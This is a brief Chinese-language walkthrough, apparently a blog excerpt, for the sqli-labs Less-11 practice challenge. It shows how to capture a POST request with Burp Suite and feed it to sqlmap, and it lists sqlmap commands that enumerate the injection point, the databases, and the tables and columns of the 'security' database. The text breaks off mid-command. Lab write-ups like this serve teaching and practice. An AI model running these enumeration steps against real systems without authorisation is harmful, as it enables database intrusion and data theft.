使用sqlmap對sqli-less-11 的題解

1.由於該題是post注入，所以我們用bp進行抓包並保存到與sqlmap相同的路徑之下。 2.利用sqlmap查詢注入點 sqlmap.py -r 123.txt。 3.查詢數據庫 sqlmap.py -r 123.txt –dbs 4.查看錶 sqlmap.py -r 123.txt -D security –tables 5.查看列 sqlmap.py -r 123.txt -D securi

>>阅读原文<<